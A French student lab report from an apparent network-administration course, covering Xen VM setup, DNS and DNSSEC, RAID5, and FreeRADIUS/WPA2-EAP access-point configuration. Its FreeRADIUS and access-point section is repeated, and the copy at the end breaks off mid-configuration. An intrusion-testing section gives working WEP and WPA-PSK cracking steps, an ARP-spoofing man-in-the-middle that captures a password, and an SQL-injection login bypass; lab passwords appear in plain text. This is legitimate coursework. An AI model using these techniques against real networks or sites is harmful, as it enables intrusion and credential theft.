Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.
Dot11Radio 0 : 2.5 GHz
Dot11rRadio 1 : 5 GHz
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:29:11Z

Lchenu : /* Configuration des points d'accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
